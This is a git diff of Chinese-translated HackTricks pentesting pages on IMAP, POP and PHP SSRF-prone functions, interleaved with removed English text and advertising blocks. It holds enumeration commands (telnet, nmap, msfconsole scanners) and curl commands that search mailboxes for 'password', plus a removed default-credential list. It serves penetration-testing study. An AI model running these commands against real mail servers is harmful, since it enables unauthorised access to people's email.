<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 互联网消息访问协议
|
||||
|
||||
**互联网消息访问协议(IMAP)**旨在使用户能够通过互联网连接从任何位置**访问其电子邮件消息**。实质上,电子邮件**保留在服务器上**,而不是下载并存储在个人设备上。这意味着当电子邮件被访问或阅读时,是直接从服务器上进行的。这种能力允许方便地从**多个设备**检查电子邮件,确保无论使用哪种设备,都不会错过任何消息。
|
||||
**互联网消息访问协议(IMAP)**旨在使用户能够通过互联网连接从任何位置**访问其电子邮件消息**。实质上,电子邮件**保存在服务器上**,而不是下载并存储在个人设备上。这意味着当电子邮件被访问或阅读时,是直接从服务器上进行的。这种能力允许方便地从**多个设备**检查电子邮件,确保无论使用哪个设备,都不会错过任何消息。
|
||||
|
||||
默认情况下,IMAP协议在两个端口上运行:
|
||||
默认情况下,IMAP 协议在两个端口上运行:
|
||||
|
||||
* **端口143** - 这是默认的IMAP非加密端口
|
||||
* **端口993** - 这是您需要使用的端口,如果要安全地使用IMAP进行连接
|
||||
* **端口 143** - 这是默认的 IMAP 非加密端口
|
||||
* **端口 993** - 这是您需要使用的端口,如果要安全地使用 IMAP 进行连接
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
143/tcp open imap syn-ack
|
||||
|
@ -50,13 +42,13 @@ root@kali: telnet example.com 143
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
或者使用 **nmap** 插件 `imap-ntlm-info.nse` 来 **自动化** 这个过程。
|
||||
或者使用 **nmap** 插件 `imap-ntlm-info.nse` 来**自动化**。
|
||||
|
||||
### [IMAP暴力破解](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
|
||||
## 语法
|
||||
|
||||
IMAP命令示例来自[这里](https://donsutherland.org/crib/imap):
|
||||
IAMP命令示例来自[这里](https://donsutherland.org/crib/imap):
|
||||
```
|
||||
Login
|
||||
A1 LOGIN username password
|
||||
|
@ -113,85 +105,51 @@ apt install evolution
|
|||
|
||||
使用[CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)可以进行基本导航,但文档细节较少,建议查看[源代码](https://github.com/curl/curl/blob/master/lib/imap.c)以获取精确细节。
|
||||
|
||||
1. 列出邮箱(imap 命令 `LIST "" "*"`)
|
||||
1. 列出邮箱(imap 命令 `LIST "" "*"`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||
```
|
||||
2. 在邮箱中列出消息(imap命令`SELECT INBOX`然后`SEARCH ALL`)
|
||||
|
||||
2. 列出邮箱中的消息(IMAP命令 `SELECT INBOX` 然后 `SEARCH ALL`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass```
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```
|
||||
这次搜索的结果是一个消息索引列表。
|
||||
|
||||
The result of this search is a list of message indicies.
|
||||
|
||||
Its also possible to provide more complex search terms. e.g. searching for drafts with password in mail body:
|
||||
|
||||
也可以提供更复杂的搜索条件。例如,在邮件正文中搜索带有密码的草稿:
|
||||
```bash
|
||||
```plaintext
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
一个关于可能的搜索术语的很好概述位于[这里](https://www.atmail.com/blog/imap-commands/)。
|
||||
|
||||
---
|
||||
|
||||
```plaintext
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
```
|
||||
|
||||
A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/).
|
||||
|
||||
3. Downloading a message (imap command `SELECT Drafts` and then `FETCH 1 BODY[]`)
|
||||
|
||||
3. 下载一封消息(imap 命令 `SELECT Drafts` 然后 `FETCH 1 BODY[]`)
|
||||
```bash
|
||||
```plaintext
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
邮件索引将是从搜索操作返回的相同索引。
|
||||
|
||||
```plaintext
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
```
|
||||
|
||||
The mail index will be the same index returned from the search operation.
|
||||
|
||||
It is also possible to use `UID` (unique id) to access messages, however it is less conveniant as the search command needs to be manually formatted. E.g.
|
||||
|
||||
也可以使用`UID`(唯一标识符)来访问消息,但这样做不太方便,因为搜索命令需要手动格式化。例如:
|
||||
```bash
|
||||
```plaintext
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
```
|
||||
|
||||
Also, possible to download just parts of a message, e.g. subject and sender of first 5 messages (the `-v` is required to see the subject and sender):
|
||||
|
||||
也可以仅下载消息的部分内容,例如前5条消息的主题和发件人(需要使用 `-v` 选项来查看主题和发件人):
|
||||
```bash
|
||||
```plaintext
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
```
|
||||
|
||||
Although, its probably cleaner to just write a little for loop:
|
||||
|
||||
```bash
|
||||
虽然,编写一个小的for循环可能更清晰:
|
||||
```bash
|
||||
for m in {1..5}; do
|
||||
echo $m
|
||||
curl "imap://1.2.3.4/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
|
||||
done
|
||||
```
|
||||
```
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
## HackTricks 自动命令
|
||||
```
|
||||
```markdown
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 143,993 #Comma separated if there is more than one.
|
||||
Protocol_Description: Internet Message Access Protocol #Protocol Abbreviation Spelled out
|
||||
|
@ -200,9 +158,9 @@ Entry_1:
|
|||
Name: Notes
|
||||
Description: Notes for WHOIS
|
||||
Note: |
|
||||
互联网消息访问协议(IMAP)旨在使用户能够通过互联网连接从任何位置访问其电子邮件消息。实质上,电子邮件保留在服务器上,而不是下载并存储在个人设备上。这意味着当电子邮件被访问或阅读时,是直接从服务器上进行的。这种功能允许从多个设备检查电子邮件,确保无论使用哪种设备,都不会错过任何消息。
|
||||
The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-imap
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-imap
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -220,25 +178,16 @@ Description: IMAP enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
|
||||
```
|
||||
```
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,22 @@
|
|||
# 110,995 - Pentesting POP
|
||||
# 110,995 - 渗透测试 POP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 您在**网络安全公司**工作吗?想要在 HackTricks 上看到您的**公司广告**?或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family),[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现最重要的漏洞,以便更快修复。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
**邮局协议(POP)**被描述为计算机网络和互联网领域中的协议,用于从远程邮件服务器提取和**检索电子邮件**,使其在本地设备上可访问。位于OSI模型的应用层,该协议使用户能够获取和接收电子邮件。**POP客户端**的操作通常涉及与邮件服务器建立连接,下载所有消息,将这些消息存储在客户端系统上,然后从服务器中删除这些消息。尽管有三个版本的此协议,**POP3**是最常用的版本。
|
||||
**邮局协议(POP)**被描述为计算机网络和互联网领域中的协议,用于从远程邮件服务器提取和**检索电子邮件**,使其在本地设备上可访问。作为 OSI 模型的应用层中的一部分,该协议使用户能够获取和接收电子邮件。**POP 客户端**的操作通常涉及与邮件服务器建立连接,下载所有消息,将这些消息存储在客户端系统上,然后从服务器中删除这些消息。尽管存在三个版本的该协议,但**POP3**是最常用的版本。
|
||||
|
||||
**默认端口:** 110, 995(ssl)
|
||||
**默认端口:**110,995(ssl)
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
110/tcp open pop3
|
||||
|
@ -64,65 +56,7 @@ QUIT Logout (expunges messages if no RSET)
|
|||
TOP msg n Show first n lines of message number msg
|
||||
CAPA Get capabilities
|
||||
```
|
||||
```markdown
|
||||
## Post Office Protocol (POP)
|
||||
|
||||
POP is an application-layer protocol used by e-mail clients to retrieve e-mail from a mail server. POP operates over TCP port 110.
|
||||
|
||||
### Default Credentials
|
||||
|
||||
When conducting a penetration test, it is important to check for default credentials that may be used by POP servers. Some common default credentials for POP servers include:
|
||||
|
||||
- Username: admin, Password: admin
|
||||
- Username: root, Password: root
|
||||
- Username: test, Password: test
|
||||
|
||||
### Vulnerabilities
|
||||
|
||||
Some common vulnerabilities found in POP servers include:
|
||||
|
||||
- Brute force attacks due to weak passwords
|
||||
- Lack of encryption leading to eavesdropping
|
||||
- Buffer overflows leading to remote code execution
|
||||
|
||||
### Countermeasures
|
||||
|
||||
To secure POP servers, consider implementing the following countermeasures:
|
||||
|
||||
- Enforce strong password policies
|
||||
- Enable encryption such as SSL/TLS
|
||||
- Regularly update the server software to patch known vulnerabilities
|
||||
```
|
||||
|
||||
```html
|
||||
## 邮局协议(POP)
|
||||
|
||||
POP是一种应用层协议,用于电子邮件客户端从邮件服务器检索电子邮件。POP通过TCP端口110运行。
|
||||
|
||||
### 默认凭据
|
||||
|
||||
在进行渗透测试时,检查可能被POP服务器使用的默认凭据非常重要。一些常见的POP服务器默认凭据包括:
|
||||
|
||||
- 用户名:admin,密码:admin
|
||||
- 用户名:root,密码:root
|
||||
- 用户名:test,密码:test
|
||||
|
||||
### 漏洞
|
||||
|
||||
在POP服务器中发现的一些常见漏洞包括:
|
||||
|
||||
- 由于弱密码而导致的暴力攻击
|
||||
- 缺乏加密导致窃听
|
||||
- 缓冲区溢出导致远程代码执行
|
||||
|
||||
### 对策
|
||||
|
||||
为了保护POP服务器,考虑实施以下对策:
|
||||
|
||||
- 强制执行强密码策略
|
||||
- 启用诸如SSL/TLS之类的加密
|
||||
- 定期更新服务器软件以修补已知漏洞
|
||||
```
|
||||
示例:
|
||||
```
|
||||
root@kali:~# telnet $ip 110
|
||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||
|
@ -149,15 +83,15 @@ password: PA$$W0RD!Z
|
|||
```
|
||||
## 危险设置
|
||||
|
||||
来自[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
从[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
|
||||
| **设置** | **描述** |
|
||||
| **设置** | **描述** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | 启用所有身份验证调试日志。 |
|
||||
| `auth_debug_passwords` | 此设置调整日志详细程度,提交的密码以及方案将被记录。 |
|
||||
| `auth_verbose` | 记录身份验证失败的尝试及其原因。 |
|
||||
| `auth_verbose_passwords` | 用于身份验证的密码被记录,也可以被截断。 |
|
||||
| `auth_anonymous_username` | 指定在使用ANONYMOUS SASL机制登录时要使用的用户名。 |
|
||||
| `auth_debug` | 启用所有身份验证调试日志。 |
|
||||
| `auth_debug_passwords` | 此设置调整日志详细程度,提交的密码以及方案将被记录。 |
|
||||
| `auth_verbose` | 记录未成功的身份验证尝试及其原因。 |
|
||||
| `auth_verbose_passwords` | 用于身份验证的密码被记录,也可以被截断。 |
|
||||
| `auth_anonymous_username` | 指定在使用ANONYMOUS SASL机制登录时要使用的用户名。 |
|
||||
|
||||
## HackTricks自动命令
|
||||
```
|
||||
|
@ -202,18 +136,16 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
```
|
||||
<details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder跟踪您的攻击面,运行积极的威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
<img src="../.gitbook/assets/image (675).png" alt="" data-size="original">
|
||||
|
||||
找到最重要的漏洞,让您能更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 。
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,23 +8,15 @@
|
|||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### SSRF PHP函数
|
||||
|
||||
一些函数,如_**file\_get\_contents(),fopen(),file(),md5\_file()**接受URL作为输入,它们将跟随这些URL,如果用户可以控制数据,则可能存在**SSRF漏洞**:
|
||||
一些函数,如**file\_get\_contents(),fopen(),file(),md5\_file()**接受URL作为输入,如果用户可以控制数据,则会跟随这些URL,从而产生**可能的SSRF漏洞**:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
|
@ -68,22 +60,16 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样你就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,22 +4,14 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在HackTricks中宣传**吗?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
